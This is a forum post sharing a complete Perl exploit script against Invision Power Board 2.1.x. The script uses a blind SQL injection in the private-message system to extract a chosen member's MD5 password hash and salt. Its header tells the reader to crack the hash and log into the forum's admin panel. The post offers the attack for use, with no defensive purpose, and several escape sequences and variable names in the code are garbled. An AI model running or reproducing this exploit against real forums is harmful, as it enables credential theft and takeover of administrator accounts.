Jump to content
Ecstasy

Invision Power Board 2.1.5 Salt & Md5

Recommended Posts

Posted

:P

#!/usr/bin/perl 

#############################################################################

## IPB <=2.1.4 exploit (possibly 2.1.5 too)                                  

## Brought to you by SHAK AND TEMUJIN.                                

## Originally by the Ykstortion security team.            

##                                              

## The exploit will retrieve the MD5 pass hash along with the case

## sensitive salt

##

## The bug is in the pm system so you must have a registered user.          

## The exploit will extract a password hash from the forum's data base of    

## the target user.                                                          

## You need to know the target user's member ID but it's not difficult to    

## find out, just look under their avatar next to one of their posts.        

## After you run the exploit, crack the hash with the salt                              

## and log into the ACP

##

## Usage:                                                                    

##   $ ./ipb                                                                

##   IPB Forum URL ? forums.example.com/forums                              

##   Your username ? krypt_sk1dd13                                          

##   Your pass ? if_your_on_nix_this_gets_hidden                            

##   Target userid ? 3637                                                    

##                                                                          

##   Attempting to extract password hash from database...                  

##   537ab2d5b37ac3a3632f5d06e8e04368

##   Attempting to extract password salt from database...

##   _jnDE

##   Hit enter to quit.                                                      

##                                                                          

## Requirements:                                                            

##   o Perl 5                                                              

##   o LWP 5.64 or later                                                    

##   o Internet access                                                      

##   o A forum                                              

##   o A user on said forum                                                  

##   o 32+ PMs left till your inbox is full, if not you can still delete    

##     PMs from your inbox as the successful ones come through              

##                                                                          

## Credit to: Nuticulus for finding the SQL injection                        

##                                                                                                                        

###########################################################################

 

use HTTP::Cookies;

use LWP 5.64;

use HTTP::Request;

 

# variables

my $login_page = '?act=Login&CODE=01';

my $pm_page = '?act=Msg&CODE=04';

my $pose_pm_page = '?';

my $tries = 5;

my $sql = '';

my $hash = '';

my $need_null = 0;

my $i;

my $j;

 

my @charset = ('0'..'9','a'..'f');

 

my %form = (act      => 'Msg',

  CODE      => '04',

  MODE      => '01',

  OID      => '',

  removeattachid   => '',

  msg_title   => 'asdf',

  bbmode      => 'normal',

  ffont      => 0,

  fsize      => 0,

  fcolor      => 0,

  LIST      => ' LIST ',

  helpbox      => 'Insert Monotype Text (alt + p)',

  tagcount   => 0,

  Post      => 'jkl');

   

 

# objects

my $ua = LWP::UserAgent->new;

my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0);

my $resp;

 

# init the cookie jar

$ua->cookie_jar ($cj);

 

# allow redirects on post requests

push @{ $ua->requests_redirectable }, "POST";

 

# get user input

print 'IPB Forum URL ? ';

chomp (my $base_url = <STDIN>);

print 'Your username ? ';

chomp (my $user = <STDIN>);

$form{entered_name} = $user;

print 'Your pass ? ';

#system 'stty -echo';      # to turn off echoing

chomp (my $pass = <STDIN>);

#system 'stty echo';      # to turn it back on

print "n";

print 'Target userid ? ';   # it'll say next to one of their posts

chomp (my $tid = <STDIN>);

 

# parse the given base url

if ($base_url !~ m#^[url]http://#[/url]) { $base_url = 'http://' . $base_url }

if ($base_url !~ m#/$|index.php$#) { $base_url .= '/' }

 

do {

  $resp = $ua->post ($base_url . $login_page,

     [ UserName => $user,

       PassWord => $pass,

       CookieDate => 1,

     ]);

} while ($tries-- && !$resp->is_success());

 

# reset tries

$tries = 5;

 

# did we get 200 (OK) ?

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "n" }

 

# was the pass right ?

if ($resp->content =~ /sorry, the password was wrong/i) {

  die "Error: password incorrect.n";

}

 

# get ourselves a post_key (and an auth_key too with newer versions)

do {

  $resp = $ua->get ($base_url . $pm_page);

} while ($tries-- && !$resp->is_success());

 

# reset tries

$tries = 5;

 

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "n" }

if ($resp->content =~ m#<inputs+?type=["']?hidden["']?s+?name=["']?post_key["']?s+?value=["']?([0-9a-f]{32})["']?s+?/>#)

{

  $form{post_key} = $1;

} else {

  die "Error: couldn't get a post key.n";

}

if ($resp->content =~ m#<inputs+?type=["']?hidden["']?s+?name=["']?auth_key["']?s+?value=["']?([0-9a-f]{32})["']?s+/>#)

{

  $form{auth_key} = $1;

}

 

# turn off buffering so chars in the hash show up straight away

$| = 1;

 

print "nAttempting to extract password hash from database...n ";

 

OFFSET:

for ($i = 0; $i < 32; ++$i) {

  CHAR:

  for ($j = 0; $j < scalar(@charset); ++$j) {

     # reset tries

     $tries = 5;

     print "x08", $charset[$j];

     # build sql injection

     $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('

          . (join (',', map {ord} split ('', $user))) . ') FROM '

          . 'ibf_members_converge WHERE converge_id = ' . $tid . ' AND MID('

          . 'converge_pass_hash, ' . ($i + 1) . ', 1) = CHAR('

          . ord ($charset[$j]) . ')';

     $form{from_contact} = $sql;

     $resp = $ua->post ($base_url . $post_pm_page, %form,

        referer => $base_url . $pm_page);

     if (!$resp->is_success()) {

        die "nError: " . $resp->status_line

          . "n" if (!$tries);

        --$tries;

        redo;

     }

     if ($resp->content =~ /sql error/i) {

        if ($need_null) {

           die "Error: SQL error.n";

        } else {

           $need_null = 1;

           redo OFFSET;

        }

     } elsif ($resp->content !~ /there is no such member/i) {

        # we have a winner !

        print ' ';

        next OFFSET;

     }

  }

  # uh oh, something went wrong

  print "nError: couldn't get a char for offset $in";

}

 

@charset = ();

for($j = 33; $j <= 126; $j++)

{

push(@charset, chr($j));

}

 

print "nAttempting to extract password salt from database...n ";

 

OFFSET:

for ($i = 0; $i < 5; ++$i) {

  CHAR:

  for ($j = 0; $j < scalar(@charset); ++$j) {

     # reset tries

     $tries = 5;

     print "x08", $charset[$j];

     # build sql injection

     $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('

          . (join (',', map {ord} split ('', $user))) . ') FROM '

          . 'ibf_members_converge WHERE converge_id = ' . $tid . ' AND MID('

          . 'converge_pass_salt, ' . ($i + 1) . ', 1) = BINARY CHAR('

          . ord ($charset[$j]) . ')';

     $form{from_contact} = $sql;

     $resp = $ua->post ($base_url . $post_pm_page, %form,

        referer => $base_url . $pm_page);

     if (!$resp->is_success()) {

        die "nError: " . $resp->status_line

          . "n" if (!$tries);

        --$tries;

        redo;

     }

     if ($resp->content =~ /sql error/i) {

        if ($need_null) {

           die "Error: SQL error.n";

        } else {

           $need_null = 1;

           redo OFFSET;

        }

     } elsif ($resp->content !~ /there is no such member/i) {

        # we have a winner !

        print ' ';

        next OFFSET;

     }

  }

  # uh oh, something went wrong

  die "nError: couldn't get a char for offset $in";

}

 

print "x08 x08nHit enter to quit.n";

<STDIN>;

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...